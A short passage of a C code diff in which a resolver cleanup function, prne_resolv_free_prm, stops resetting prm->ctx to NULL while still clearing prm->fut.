(query_entry_t*)prm->ctx; @@ -1351,7 +1372,6 @@ void prne_resolv_free_prm (prne_resolv_prm_t *prm) { } resolv_free_q_ent(ent); } - prm->ctx = NULL; prm->fut = NULL; } |